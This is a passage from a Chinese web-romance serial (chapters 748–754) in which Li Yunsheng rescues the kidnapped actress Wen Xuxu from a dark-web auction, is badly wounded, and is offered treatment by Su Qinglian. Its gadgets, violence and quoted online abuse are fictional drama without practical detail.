福恩先生和杰尼斯在M国都是有一定话语权的,他想要在暗网售卖的很多违禁品都是福恩先生管控的,如果能让福恩先生同意奈尔合作那就皆大欢喜了。 所以在得知福恩先生的侄子麦尔是个爱好美色的浪荡子后埃尔斯就借着麦尔的契机给这位发了邀请函请帖,且发了三次,一天一次。 没想到竟真的把人盼来了。 福恩先生哼了一声:“我那不争气的侄子吵着闹着要来,我就陪他亲自来一趟,省的还要在家里继续胡闹。” 埃尔斯微笑的想去恭维他夸奖他身边身材高大的年轻人,高大年轻人浑身都带着酒气,听到福恩先生的话烦躁的抓了抓耳朵。 不愧是被养废的纨绔子弟,没什么可看的埃尔斯连夸都不想夸,但碍于福恩先生的身份还是夸了句好相貌。 夸完后埃尔斯亲自迎着两人入座,是第一排最中心的位置。 福恩先生四处打量了下现场,“麦尔”坐在福恩先生身边,目光落在大屏幕上,他看着还是醉醺醺的,但低头时眼底都是冷意。 他当然没有醉,且非常清醒。 “还好吗。”福恩先生问了句。 “我没事,感谢您的陪同。”“麦尔”回应。 “不必跟我客气,毕竟我也没有吃亏,许愿跟我最新的合作让了很大一部分利润,她可真是个聪慧又明理的孩子不是吗。”福恩先生提到许愿欣赏之余叹了口气:“我本是打算让我那不争气的儿子追求她,可惜那时候许愿已婚,好不容易盼到她离婚却又马上有了爱人,也是我的儿子没有这个福气。” “她确实很优秀。” 虽然“麦尔”因为多方因素并不喜欢许愿,但不得不承认许愿的优秀,如果是其他人即便是拿到那庞大的资金,也无法像她建立盛华这样强大的资本。 这次如果不是许愿那几年在国外攒够了这些人脉且与人为善,那福恩先生不会帮他们更不会管这件事。 暗网的人多狡诈报复心多强福恩先生当然知道,他肯答应陪他一起,是因为许愿做了承诺,各方面的承诺。 他想,如果是自己,要如何拯救温栩栩?要结合多方势力?可他在国外的人脉确实不如许愿,这一次是他输了。 怪不得发生任何事温栩栩都要将许愿排在第一位,永远将许愿看做重中之重。 因为许愿有足够救她出水火的能力,且许愿也愿意为了她舍掉那些即将到手的利益。 她给福恩先生的让利,几乎是将价值百亿的项目拱手送给福恩先生,可以说是亲自为福恩先生搭了个台子为福恩先生建立了运输网,然后最后得利的福恩先生。 所以对方才会如此痛快的答应。 就像福恩先生跟他说的,如果有机会,真想也成为许愿这样真心对待拿命维护的好友。那位温可真幸运。 他眸光沉了几分。 拍卖会终于开始,排在首位的拍品是华国收购走私的古画,“麦尔”也就是黎昀霆眼神陡然一利。 那是博物馆的真迹,现在还在博物馆内展览,怎么会出现在暗网。 摆在博物馆的真的是真迹吗? 外国人是喜欢华国古玩的,虽然不是美人可其它刺激的东西,但也有人不停出价,福恩先生似乎感觉到他情绪不对,只是深深的看了他一眼:“这种事在我们这里经常发生,华国的古玩太多了,你们想要带回去要花费的金额可太多了。” “她帮了我很多,这幅画当我的回礼。” 福恩先生拍了这副古画,最后拍定价格高达五百万美金,算是高价了。 拍品一件件被送上来,有珠宝,有古玩,有动物兽类,市场黑药,黑科技,以及苏青莲的笔记,是的还有苏青莲的笔记,不知真假的笔记,拍了千万美金。 苏青莲的名字确实是有号召力,有些人只是听到苏青莲的名字就会疯狂出钱。 其中夹杂了几个漂亮的美人,不拘性别,直到这里场子才彻底热起来,他们这群人就是为了美人来的! 现场乱作一团,黎云笙却冷眼看着这一幕,直到亚洲拍品。 舞台上出现了投影,现场的灯光暗下来。 屏幕中的女人被缚在牢笼之中,她身上的是一件几乎裸露了整片后背肌肤的墨绿色长裙,肌肤嫩滑雪白犹如凝脂玉露。 她纤细修长的手臂其中一只被锁在其中,她只是微微抬眸露出了那张明艳妩媚却又多情迷人的一张脸。 那双眼睛漂亮的像是黑曜石,红唇的颜色鲜艳勾人。 海藻般的长发散落在身后,偶尔有些许拢住那张惑人的面容。 美的似妖。 现场倏地一片寂静,有人克制不住的吞咽着口水,不停地用母语发出赞美的声音。 “那是你的爱人吗。”福恩先生看着屏幕上的温栩栩,“确实是绝色尤物,怪不得暗网不择手段也要将她掳来。” 黎云笙眸光深了几分,他目光一错不错的望着牢笼中的温栩栩。 他能透过屏幕察觉到她的情绪,她在害怕,她在惊慌,她想哭,她的心在流泪。 黎云笙感受到自己的心在揪痛,密密麻麻的疼连着筋骨在全身上下蔓延。 温栩栩……温栩栩…… 拍卖终于开始,抬上的主持人介绍了这最后压轴的拍品,现场的人疯狂出价,旁人每出一次价,黎云笙就要压上一次。 第749章 让阿愿走吧 一千万美金。 三千万美金。 五千万美金。 七千万美金! 最终是黎云笙拍下了最后的压轴拍品,可他拍下的也只是第一晚,与她做一晚的“朋友”,这就是暗网的可恨之处。 这个价格就算买卖活人也能买多少,可在这里只值一晚。 拍卖会正式结束。 埃尔斯亲自来到福恩先生面前,将他拍下的古画送过来。 “早听闻您喜欢收藏华国的古画,看来果真如此。” 福恩笑了笑跟埃尔斯寒暄几句。 黎云笙却踉踉跄跄的推了埃尔斯一把,身上的酒气浓郁。 埃尔斯脸上的笑意僵了下,就听到黎云笙怒斥道:“我的美人!被你们弄到哪里了!那些人都带着人走了,我的呢!让她出来陪我!” 原来是急不可耐啊。 埃尔斯面上带着微笑:“麦尔先生不必着急,我们这就亲自带麦尔先生去见您的美人。” 埃尔斯看了眼身边的助理,影子立刻上前:“还请麦尔先生蒙上眼睛,我们自会带您去总部见我们的天使小姐。” 黎云笙学着麦尔的样子骂骂咧咧,埃尔斯早就猜到他的反应一般,还是福恩先生斥责了两声他才不耐烦的啧了一声。 福恩先生淡淡道:“我这侄子就喜欢玩,这次跟我谈过了,说玩过一次才能收心工作,他暂时交给埃尔斯先生了。” 埃尔斯笑了笑:“哪里的话,有时间的话下次我请福恩先生吃顿饭跟您聊一聊合作的事。” 福恩先生顿了下:“再说吧。” 埃尔斯早猜到他的回答,也不恼,只是笑道:“您慢走。” 黎云笙被蒙住眼睛带上车,在路上不时的发出几句令人烦躁的声音。 一直到了埃尔斯所说的暗网总部,甚至到了特定的房间才被允许摘下眼睛上的黑布。 房间的门被锁上。 而埃尔斯所说的第一次的直播也开始了。 黎云笙感觉到房间内的灯光晃眼他知道有人再看,所以故意踉跄了下,被锁在牢笼中的温栩栩有些慌的后退,她整个人缩在角落之中,缩成小小一团。 直播弹幕已经快刷爆了,不停有人在打赏发出污言垢语。 “竟然真的是温栩栩!温栩栩真的在暗网!” “听人说她是压轴拍品!温栩栩一晚七千万美金!美金!” “睡不起!” “真的好美啊好美啊,像是精灵!这个大傻子干什么呢!你冲上去啊,打开那个笼子把她放出来!我们都在看啊混蛋!别在那里站着不吱声!” “温栩栩看看我!我好爱你!等我攒够了钱我一定去见你!” 弹幕疯狂刷屏,黎云笙垂眸抚摸着胸口的胸针,信号骤然中断,整个暗网总部的网全都被迫中断,监听设备,和一切电子产品全部熄火。 房间内漆黑一片。 “你别过来!” 温栩栩想要躲,她已经听到钥匙打来笼子的声音。 她要被眼前的人抓住了,她不要经历那些,她想要跑! “栩栩,是我。” 他嗓音沙哑,终于不再哑意自己的声音。 温栩栩心跳如雷。 当那熟悉的声音在耳边响起时,她几乎不敢相信自己的耳朵。 泪水不受控制地涌出眼眶,模糊了视线。 她的喉咙像是被什么哽住了,声音颤抖着,几乎是在自言自语,“黎云笙?” “是我。”那个声音回答道,带着一丝不易察觉的温柔与疲惫。 听到这个回应,温栩栩身体都在颤抖,然后下一刻不顾一切地冲了出去,她跑向那个声音的方向,眼泪不停地流下,打湿了她的脸颊。 当她终于扑进黎云笙的怀中时,所有的坚强和伪装都化为乌有,她紧紧地抱住他,仿佛害怕下一秒他又会消失不见。 “你怎么才来啊!为什么现在才来!” 她哭泣着喊道,每一个字都充满了压抑已久的痛苦与恐慌。 她的手指紧紧抓着他的衣服,似乎想通过这种方式确认这不是梦境。 黎云笙轻轻环抱着她,手掌温柔地抚过她的背,然后想要将人完全的拢进怀中,抱紧她。 他能感受到胸口一片湿意,是她在哭。 “我以为……再也见不到你了。”她哽咽着说,声音细若游丝,带着哭腔。 她真的以为再也见不到黎云笙了,她一直想的是阿愿来救自己,却没有想过黎云笙来救自己,因为她没有想过黎云笙真的会来。 她期盼的,她曾经的爱人,好像冲过了层层黑暗握住了自己颤抖的手。 她一直在哭,她停不下哭声。 当初跟黎云笙的那些误会现在她都好像记不起来了,她只记得他来救自己了。 直到哭够了,温栩栩才死死握住黎云笙的手。 “你来救我了对吗,你要带我走对吗,我不要留在这里了,黎云笙我好害怕,我本来想过今晚就死在这里也好过被玷污的……你带我走吧……” 她是这样想的,任何人都不能玷污她伤害她。 她不要让那些人提到自己就是那些涩情言论,她会崩溃也会疯掉。 “我会带你离开,不会再让任何人伤害你。” 他抱紧温栩栩,然后才从胸针中取出了一枚定位收音设备戴在耳中。 “许愿,我已经找到栩栩了,我已经按照你说的做了,接下来我需要怎么做。” 温栩栩呆愣愣的,听到他喊许愿眼泪扑簌簌的就往下落,控制不住的哭了。 “阿愿……阿愿也来了吗。” “你让阿愿走吧,埃尔斯那个混蛋还想抓阿愿得……” 许愿能听到那边的声音,她想像是笑了。 “告诉栩栩,没人能抓住我,如果我那么容易被抓到,莱蒂斯早就绑架我千百次了。” 黎云笙复述了许愿的话,温栩栩才终于没那么紧张。 “所有来这里的人埃尔斯他们都会搜身,这枚胸针怎么带进来的。” 黎云笙解释:“这是拍卖会内的胸针,不是我的私自带进来的,我在拍卖会现场拍下了胸针,他们在结束后将胸针给我,他们自己的东西不会做任何检查,但在此之前胸针就已经被换了。” 第750章 快走,阿愿在等你 黎云笙身上的胸针是拍卖会上拿到的东西,暗网的人对他们组织拍出的东西是不会检查的。 这是个BUG。 许愿调查过这些,所以清楚这一切才会在中途利用黑科技掉包了胸针暗网拍卖的胸针。 胸针里面有许愿安装的屏蔽器装置,厉害到什么程度,能够在两小时内断掉附近三公里内的所有电子科技产品,当然,许愿设计的那些除外有防屏蔽设置。 直播中断,灯光全灭,现在暗网总部的所有装置都无法使用,最重要的一点,暗网总部其他房间已经被迫上锁,埃尔斯的人也出不来,这个时间刚好可以用来带温栩栩离开。 但是也要算好时间。 埃尔斯的装备不能用,但许愿利用无人机在总部上方扫射过已经有了大概的区域图,她会子啊耳麦中告知黎云笙该往什么地方去躲。 “你带栩栩离开的时候小心,拿好我给你的防身装置,你知道怎么用的吧,埃尔斯那边有枪也有远程攻击装备,总之你自己小心。真有问题随时联系我这里,必要的时候能拖就拖。” 听到许愿的话黎云笙明白了许愿的意思,脱下自己身上的西装外套,看到温栩栩拖地长裙,迅速将小腿下长度的布料全部都撕掉。 “栩栩,我先带你走。” 黎云笙没打算在这地方多待,温栩栩立刻点头,被他牵着打开房间的门。 温栩栩能感受到黎云笙紧握着自己的手,好像能将自己带离这片虚无的黑暗。 走廊很长,她几乎听不到其它任何声音,只能听到面前男人因为奔跑的轻喘。 她的心跳加速,她知道黎云笙和阿愿能带自己离开这里。 能听到远处传来的窸窸窣窣的声响,像是有人在撬弄厚重的铁门,周围的脚步声逐渐变多。 耳中也传来的许愿的提醒。 “埃尔斯那边应该反应过来了,他清楚暗网现在最重要的是栩栩,他的手下已经赶过来了,黎云笙你身手怎么样?” “不输你男人。” 许愿深吸一口气:“他们有枪,我在总部能操控的有限但是……”话未落就已经听到对面传来子弹入肉体的声音。 黎云笙弹无虚发,片刻后问:“但是什么。” “你抢了他们的枪?” “那不然呢?” “我怎么不知道你有这身手?”许愿都有点惊。 “上流圈层继承人必备技能,为防止绑架,盛景炎没跟你说过?” 黎云笙边说着边抢了几个人的武器:“接下来往哪里走。” “盛景炎没跟我说过,左拐一百米有人,三个。”许愿听到那边的传来的声音继续:“直行后东南方向三百米……” 许愿一路指挥,盛景炎已经从最内层闯到外围,埃尔斯的手下逐渐变多,他已经发现温栩栩逃了,温栩栩是他好不容易抓到的天使,不能就这么被她逃了!他不允许! 埃尔斯愤怒大喊将所有人都召集到古堡门口,层层防护围堵。 “换个方向,西南方向大概一百米,推门,那间房间没有人是空的,从窗户跳出去!” 许愿根据地图数据开口提示。 “我联络的组织已经包围暗网区域,你们只要能从古堡出来后面的事全都交给我,他们一个都跑不掉。” 黎云笙带着温栩栩略过层层追踪,他当然是慌的,是怕的,怕温栩栩会被他们带走折辱,所以他必须带着温栩栩逃出去。 就在黎云笙准备带着温栩栩冲破最后一道防线,逃出包围圈的瞬间,一个冰冷的声音划破了夜空。 “看来你们是走不了了。” 埃尔斯从阴影中缓缓走出,他的眼神中充满了愤怒与决绝。 月光下,他那阴郁的面容如同死神降临,嘴角挂着一丝令人胆寒的冷笑。 “真不愧是许愿,真不愧是苏青莲的女儿,她真是了不起啊,知道她自己势单力薄就联系其他组织捣毁暗网,温栩栩,你说对了,许愿真的来救你了。” “既然暗网要被毁,那你们也就全都别活了!” “谁也别想活着离开。”埃尔斯的话语仿佛是从地狱深处传来的诅咒,他手中的枪口在月色下闪烁着死亡的光芒。 周围的一切似乎都静止了,只有风声呼啸而过,夹杂着远方不知名的野兽哀嚎,让这个夜晚更加阴森恐怖。 黎云笙的心猛地一沉,他知道此时已无路可退。 “快跑!”他大喊一声,用力将温栩栩推向一边,试图用自己的身体为她筑起一道生命的屏障。 子弹如雨点般倾泻而出,刺耳的枪声打破了夜的寂静。 黎云笙感到一阵剧痛袭来,几颗子弹无情地穿透了他的身躯。 他能感觉到生命力正在迅速流失,眼前的世界开始变得模糊。尖锐的疼痛从四肢百骸蔓延但他依然强撑着,用尽最后的力量把温栩栩护在身后,推着她一步一步离开古堡,看到远处集结的人群,他猜到那是许愿说的其它组织,终于放下心瘫软到地上。 温栩栩被眼前的景象吓呆了,她眼睁睁地看着黎云笙为了保护自己倒在血泊之中,鲜血染红了他身下的土地。 泪水不受控制地夺眶而出。 “黎云笙……你别出事,你别吓我!阿笙!”她尖叫着扑向他,双手颤抖着想要捂住那些不断涌出鲜血的伤口,却只是徒劳。 周围的空气仿佛凝固了一般,温栩栩只能听到自己的心跳声和黎云笙越来越微弱的呼吸声。 她的脑海中一片混乱,所有的思绪都被恐惧和绝望所占据。 “不要,求你不要离开我……”她泣不成声,眼泪滴落在黎云笙苍白的脸上,混合着泥土和鲜血。 黎云笙艰难地睁开眼睛,试图给温栩栩一个安慰的笑容。 “快走……阿愿,在等你。”他断断续续地说,每一个字都是从心底挤出来的力气。 温栩栩整个人像是失去了灵魂,她跪在地上,紧紧抱着黎云笙逐渐冷却的身体,失声痛哭。 夜风凛冽,但她却感觉不到一丝寒冷,内心的痛苦已经淹没了所有感官。 第751章 暂时留你一条命 许愿赶到现场时,眼前的景象让她的心猛地一揪。 月光如银纱般铺洒在大地上,却只能映照出一片凄凉与绝望。 黎云笙倒在血泊之中,周围的草地上染上了大片触目惊心的红色,空气中弥漫着浓重的血腥味,混合着夜晚特有的湿冷气息,苍凉又绝望。 “快!把他抬上车!”许愿声音中带着不容置疑的命令口吻,她的眼神中透露出深深的痛惜与愤怒。 几名手下迅速行动起来,小心翼翼地将黎云笙抬上车。 温栩栩身体不受控制地颤抖着,双眼死死盯着黎云笙渐渐远去的身影,泪水模糊了视线。 温栩栩像是被抽走了所有力气,瘫坐在地上。她的脑海中不断回放着黎云笙倒下的那一刻,悔恨、恐惧、绝望交织成一张无形的大网,将她紧紧束缚住。她抱着双膝,将脸埋入膝盖间,无声地哭泣着,任由泪水浸透裤腿。 夜风无情地吹过,带来更深的寒意,但她却感觉不到一丝冷意,内心的冰冷早已超越了外界的一切。 “不,不要走……”她喃喃自语,声音中充满了绝望与不舍。每一个细胞都在呼喊着要跟过去,她的双腿却像灌了铅一样沉重,只是机械地向前挪动了几步。 “我要去!让我去!”温栩栩眼泪不停地流下,打湿了衣襟,她突然大喊起来,试图挣脱旁人的阻拦。 许愿略有不忍,微微垂眸,立刻有人将温栩栩迎上了救护车。 …… 医院的走廊里,灯光惨白得如同冬日里的寒冰,冰冷而刺眼。 墙上的挂钟滴答作响,每一声都像是重重地敲打在温栩栩的心上。 她坐在急救室外那排硬邦邦的塑料椅子上,双手紧紧揪住衣角,指节因用力过度而泛白,仿佛只有这样才能抓住那一丝即将消逝的希望。 周围的空气中弥漫着消毒水的味道,温栩栩感到无助和窒息。 她的目光始终没有离开过那扇紧闭的急救室门,仿佛只要盯着那里看久了,就能穿透那道屏障,看到里面的情况,看到黎云笙平安无事的消息。 此刻她甚至在怪自己,为什么要跟黎云笙分手呢? 为什么要跟他闹那么久的别扭呢? 他做错了事,可是……他最后没有伤害自己,他同样爱自己不是吗? 她的脑海里不断闪过与黎云笙相处的点点滴滴,而现在,这些回忆成了最锋利的刀刃,在她的心上一次次划过,带给她无尽的痛苦。 每一分钟的等待对她来说都是一种煎熬,时间仿佛被无限拉长,变成了无法忍受的永恒。 她不敢想象如果黎云笙真的离开了这个世界,自己的生活将会变成什么样子。 心中的恐惧却如影随形,随时准备将这最后的一丝信念吞噬殆尽。 泪水无声地流下,滑过她苍白的脸颊,滴落在手中的衣服上,留下深色的痕迹。 温栩栩觉得自己就像一艘在暴风雨中迷失方向的小船,四周是无尽的黑暗与绝望,找不到任何可以依靠的东西。 偶尔有医生或护士匆匆走过,每一次脚步声都会让她的心猛地一紧,每一次都以为是关于黎云笙的消息来了。 但当他们并未停下脚步时,失望便如同潮水般再次涌上心头。 温栩栩感觉自己像是被困在一个无形的牢笼里,周围的一切都在提醒着她此刻的无力与绝望。 此刻温栩栩的世界缩小到了这一方小小的等候区,所有的思绪都围绕着那扇生死之门。 温栩栩在医院守着黎云笙,许愿却还在古堡外,将暗网的人一网打尽,抓到埃尔斯的时候埃尔斯还在反抗,看到许愿时眼底都是痴迷和欣赏 。 他当然恨许愿,可这不代表他不欣赏许愿。 没有人会不喜欢许愿这样聪明的女人,哪怕是他也不例外。 “许愿,说到底还是我小看你了。” 埃尔斯哈哈大笑。 他知道许愿聪明且人脉圈广,他也知道暗网迟早要被许愿毁掉,但没想到竟然这么快就被许愿毁掉,好像暗网才开启就要覆灭,显得他像个笑话。 “我不明白,为什么你能这么轻易的摧毁我这么长时间建立的暗网。” 他不明白,所以他要问清楚,就算是死也要死个明白。 许愿的目光仍然落在那摊血迹上,那是黎云笙的血。 她突然笑了,笑的却带着凉薄之意。 “因为你蠢啊,因为你没用,因为你没脑子,因为你又毒又坏,因为老天都不站在你这边啊。、” “知道为什么吗?你真当你是暗网最初那些高层了?一个曾经暗网的漏网之鱼你的脑仁能有多大呢?他们处心积虑建立多年才有了那些规模,曾经都是背地里搞这些龌龊下流的行径,等到真的有了一定的人脉网才敢扩大规模让人知道暗网。” “你呢?你多蠢,暗网内部什么都还没搞定就已经把手伸到华国把手伸到我身边来,你还想我夸你吗?蠢货。” 许愿逼近埃尔斯,眼底都是凉意:“你最不该的就是挑衅我拿我身边的人来做实验,当你将他们当做牲畜的时候你在我眼里就已经是个死人了。” 许愿擦拭着手中的匕首,笑道:“黎云笙留了那么多血,你也要还回来才对。” 她虽然不喜欢黎云笙,但在这件事上黎云笙能为了栩栩豁出去,那就绝对是自己人,伤了她的自己人,她不会放过埃尔斯。 …… 二十分钟后,地面尽是血迹,埃尔斯像个蛆虫翻滚着,他身上的伤口还在不停渗血,浓郁的血腥味令人作呕。 “我不会杀你,我会暂时留你一条命,我会把你交到我哥哥手中,你就算是死,也要死在他手里,死在他父母的灵前,终生忏悔。” 许愿慢条斯理的擦拭着手中的血迹,薛酒陪她一起来的,见到许愿这样也并不意外,而是提醒道:“盛景炎的电话。” 许愿接过电话声音里的冷意都敛去了。 “阿炎,我没出事,就是那个埃尔斯太过分了,已经让薛酒把人弄晕了。” 薛酒:? 第752章 他还有得救 薛酒看着跟盛景炎通电话的许愿都要被气笑了,什么啊,怎么就是他弄晕的了?他压根就没动手。 那不都是许愿自己弄晕的吗。 薛酒摸了摸鼻子,自己认了。 许愿跟盛景炎通电话的间隙,埃尔斯已经被带走了,许愿跟盛景炎通过电话简单的说明了下最近发生的事后才结束通话。 她要处理的事情还有很多,现在抓住的都是暗网的涉事人员,而参与拍卖的她也没打算放过,所有人都记录在册,她已经安排人去搜索那群人的罪证,然后再一一扳倒。 她不可能真的做到最好,但她会尽力做好。 安排完这里的一切许愿才去了医院,温栩栩还守在急救室外,她脸色苍白如纸,手上甚至身上都是黎昀霆的鲜血。 许愿心情沉重,但还是提醒了一句。 “跟你的粉丝报个平安吧,她们都很担心你。” 温栩栩勉强的扯了扯唇角。 “好。” 温栩栩调出手机翻转镜头改成自拍模式,即便加了滤镜还是能感受到她状态不对。 拍过后发了条微博。 …… 暗网公开直播拍卖的视频太多人涌进去观看,看了直播的人都知道温栩栩是最后的压轴拍品,拍下她的是M籍华人。 看直播的有许多满嘴污言垢语的龌龊男人,也有担心温栩栩的粉丝,她们一边觉得拍卖会恶心,但一边心里又想万一呢,万一许愿真的能在最后将温栩栩救出来呢? 许愿既然说了,那她们就愿意相信许愿能给带来希望。 在看到有男人闯进温栩栩的房间后,直播屏幕已经被那些低劣男人的发言刷爆了。 他们多是现实不如意的男性,在现实中藏头露尾,却在网络上想让那些自己得不到的人沉沦地狱。 他们兴奋他们激动,他们摩拳擦掌的想看温栩栩被侵犯。 然后直播中断了。 暗网直播中断在华国都上了热搜。 #暗网直播中断# #温栩栩压轴拍品# “暗网到底能不能行了,老子看到最精彩的时候直播断了!衣服都还没脱呢!这还不如温栩栩电视剧里露的多!诓骗我们来看直播,结果就这!垃圾!” “马上修复直播啊!后面到底怎么样了!你们暗网是不是玩不起,是不是想刻录称光盘圈钱!你们敢卖光盘我们就敢买!” “暗网开个付费渠道也成,打上多少钱能让我们看直播!你们开个价!” “有些人真搞笑,人家大佬花那么大一笔钱拍到人,最后还要直播给你们看?你们配吗?那三瓜俩枣的人家也看不上啊,等着买光盘吧,继续直播人家有钱人也不乐意啊。” 温栩栩的粉丝却没有像这些人暴跳如雷,她们猜或许……或许温栩栩得救了呢? 许愿不是说了吗,会把温栩栩带回来的。 “肯定是许愿救了栩栩!许愿说过会救栩栩的。” “只要是许愿说的话我就信,一定是许愿到了暗网内部!” 有些人看到温栩栩粉丝如此天真的发言都被逗笑了。 “许愿去暗网内部救温栩栩?我要是暗网我就把许愿也抓起来,知道有多少人觊觎许愿吗?许愿的价可比温栩栩还高,许愿说她去暗网你们就真信了?天真吧。” “都拍卖了,男人都进房间了,你们粉丝还在这里祈祷呢,这会儿温栩栩指不定都被人玩死了。” 还是数不尽的污言垢语。 温栩栩的粉丝咬牙愤怒的想要反击,结果温栩栩发了微博! 温栩栩发博顿时登上热搜榜首。 #温栩栩发博# 【温栩栩】:已经得救了,不用担心我了。 她发了张自拍照,身上还是那条绿裙子,但肩上的外套是黎云笙的,她还披着没有脱下。 她明明脸上是带着笑意的,可就是让人觉得有点慌和怕,像是经过了极度的惊吓,笑意是僵硬的。 粉丝看到她发博几乎都要抱团哭了。 “是许愿救了栩栩吧!三天前她就出发去M国了!肯定是许愿救了栩栩!” “感谢许总,好人一生平安!” “栩栩你还好吗,你这几天要好好休息啊!一定不要被网络上的风言风语影响,我们都是爱你的!等你回家!” 跟粉丝这里的暖心评论全然不同,没能看到温栩栩视频的人无能暴怒辱骂暗网辱骂温栩栩。 “温栩栩这是什么意思,人都去暗网了,谁还相信她清清白白?她长那副模样,暗网的人可能不碰她吗!说不定早就碰过了,看看颜佳雨就知道了,颜佳雨在那天不就被暗网直播了?温栩栩没被直播无非是因为她名气更大卖了个关子,想让我们付费呢!温栩栩肯定已经脏了!” “回来干什么?还要继续混娱乐圈?那你干脆去岛国拍剧啊,我们花钱也要买你们的剧。” “许愿怎么可能赶过去的那么及时!没人信的!不然温栩栩为什么会那么憔悴!” 他们疯狂骂着脏话侮辱温栩栩,但此刻温栩栩却根本没有任何回应的意思。 她只想知道黎云笙是不是还活着。 拍完照发微博后温栩栩就抱住自己的膝盖,无助又脆弱。 不知等了多久,手术室的门开了。 主治医生戴着口罩解释黎云笙身体多处受伤,且伤到动脉,现在已经取出子弹止住了血,但因为黎云笙后脑刺入一颗子弹伤到大脑,存活的概率很小,但他们已经在极力救治。 如果子弹穿透脑干或者深部关键区域会导致直接死亡,但黎云笙比较幸运,穿透的是非关键区域,损伤了前额,且埃尔斯他们持有的子弹也并非是高射程子弹,所以活下来的概率很大。 但是可惜的是,就算能活下来也可能成为植物人,终生躺在病床上。 只能躺在病床上……成为植物人? 温栩栩根本不敢相信自己此刻听到了什么。 他那样骄傲的人,就这样成为废人吗? 谁能救救他,谁可以救救他。 许愿对上温栩栩无措的眼眸,正要开口,就听到身后传来一道柔和的女声。 “带他去我那里,有的救。” 是苏青莲! 第753章 退让 苏青莲正站在不远处。 夕阳的余晖洒在她的身上,为她周身披上了一层金色的光辉。苏青莲身穿一袭淡雅的米色连衣裙,裙子随着微风轻轻摇曳,宛如流动的诗篇。 苏青莲的脸庞如同羊脂玉般温润细腻,眉眼间透着一股难以言喻的温婉与优雅。她的双眸犹如深邃的湖水,清澈而又神秘,当她微微一笑时,嘴角边浅浅的酒窝便显现出来,整个人散发着一种宁静致远的气息 苏青莲缓缓走近,步伐轻盈得像是一阵微风。 苏青莲身边跟着的是唐文晞和唐文愈两兄弟,一左一右守在苏青莲身边,苏青莲唇角带着很明显的笑,早先一直带着的冷意都好像完全消散了,只有笑意。 曾经的苏青莲是这样的,她无忧无虑,身边有父亲有爱人,因为家族的庇护所以可以天真烂漫,那时候她总是笑着的。 可后来父亲去世,爱人被人设计,苏青莲才变的心思深重。 现在的她好像又变成了原来的样子,让人一眼看过去就有些移不开眼。 这是温栩栩第一次见到苏青莲,许愿和她的样貌实在是像了七八分,只是许愿比她多了几分清冷感,许是随了唐清江,苏青莲整个人显得更柔和,和许愿那种本质上带着点疏离的冷感不同,苏青莲是那种看似平易近人却又让人觉得高不可攀的温柔的冷意。 苏青莲要有五十岁了,可她还是那样漂亮,看着不过三十岁的年级,温婉动人。 这就是苏青莲,就是当年引着华国上流追求爱慕并多年未婚的苏青莲。 顾凛和刑从景站在许愿身后,他们没想动这么快就能够见到苏青莲,他们早就猜到苏青莲还活着,他们也知道苏青莲迟早会出现,但没想到会是现在。 对于刑从景而言,多年来的思念与仰慕如同潮水一般,在见到苏青莲的那一瞬间汹涌澎湃。 他的心狂跳不止,仿佛要冲破胸腔的束缚,每一拍都带着无法抑制的激动。 “是她吗?真的是她?”他在心中反复问着自己,眼睛却不敢有丝毫的移开,生怕下一秒那身影就会消失不见。 他感到喉咙发紧,想喊出她的名字,却又怕这只是一个美丽而残酷的幻觉。 曾经无数次梦到的画面此刻真实地展现在眼前,然而他却犹豫了,脚步像是被钉在了地上,动弹不得。内心的激动与害怕交织在一起,形成了一种复杂的情绪漩涡,让他几乎喘不过气来。 他那样遇到任何事都处变不惊的人,此刻也失了神。 而顾凛,则是另一种滋味在心头。 他静静地凝视着苏青莲,眼神中既有惊喜也有难以掩饰的紧张。 那些年少时未能说出口的话语,随着岁月的流逝沉淀在他心底最深处,如今再次见到苏青莲,这些话语仿佛有了生命般想要挣脱出来。 但他清楚苏青莲的爱人是唐清江,她心里不会有其他任何人了。他害怕打破这份美好而又脆弱的重逢。 顾凛的手不自觉地握成了拳头,指甲几乎嵌入手掌,疼痛提醒着他这一切都是真实的。 “这么多年了,她怎么一点都没变?”他在心里默默说道,同时又为自己这个想法感到好笑,时间怎么可能不对任何人产生影响呢?然而在这一刻,他宁愿相信苏青莲永远是他记忆中的那个模样。 是的,他确实觉得苏青莲没有变,纵然更加成熟,却还是一如记忆中那般温婉动人。 两人就这样站在那里,任由心中的情感如海浪般翻滚,既希望靠近苏青莲,却又碍于重重束缚站在原地。 对苏青莲的爱慕他们一直都在藏在心底不敢说出来的。 因为一旦真的说出来,好像一切就都会变了味道。 他们也不希望苏青莲会因为他们而苦恼。 “怎么都看着我不说话?” 苏青莲笑了笑,目光落到温栩栩脸上,她逐步走近,动作很轻很轻的摸了摸她的头。 “好孩子,阿愿有你这样的朋友我真的很开心,你为阿愿做了很多,我很感谢你。” 温栩栩为许愿做的那些苏青莲怎么可能不知道呢? 就是知道才会这样感激温栩栩。 温栩栩能够为许愿付出那么多,作为许愿的母亲,她自然要感激。 “盛景炎的腿后期继续复建就够了,医疗团队已经回了我的研究所,我会派专机带黎云笙到我的研究所救治,就算是大脑真的受损我也有办法让他醒过来。” 苏青莲看着温栩栩:“只是……你愿意跟我一起走吗。” “黎云笙伤的重,但救治的及时,保守估计也需要起码一年的时间,你能为了他放弃你的事业你的舞台吗。” 苏青莲看着温栩栩,她在等温栩栩的回答。 她能看得出来温栩栩很爱黎云笙,纵然黎云笙伤她很深她也是爱着黎云笙的,否则这次就不会这样难过失控。 温栩栩毫不迟疑的点头:“我愿意。” 苏青莲笑的温柔,只是默了片刻看向站在自己身边的唐文晞,像是有些无奈。 从进来那一刻开始她就感觉到唐文晞的目光是放在温栩栩身上的。 这此温栩栩被暗网绑走,唐文晞其实可以深入暗网去救温栩栩,可他还有最重要的事情去做,所以最终去救温栩栩的是黎云笙,躺在病床上的人也是黎云笙。 唐文晞不会想不到黎云笙出现对温栩栩的想法。 但他就是太聪明了太温柔了。 他看得出来温栩栩哪怕再怪黎云笙,但心底深处爱着的人还是黎云笙。控制不住的爱着的就是黎云笙。 人总是认为自己能够理智思考,理性的去做很多事,但事实上并非如此。 就像温栩栩,她承受了黎云笙带给她的那些伤害,她想逃想跑,可逃不开躲不开,理智上知道如何做,可情感却告诉她,你爱黎云笙。 所以唐文晞退让了。 他不是个喜欢争抢的性子,所以他只是单纯的希望温栩栩能够开心就足够了。 第754章 好久不见 苏青莲微微垂眸,目光落到唐文晞身上又看了他一眼才收回目光重新看向有些虚弱的温栩栩。 “有我在,黎云笙不会出事。” 她就是有这样的自信,毕竟,唐清江已经醒了不是吗? 许愿看着她并未言语,苏青莲目光落到刑从景和顾凛身上,一眼便认出了两人。 他们已经不再是少年了,早就变得成熟稳重。 他们在国内是如何支持许愿的她心里也清楚。 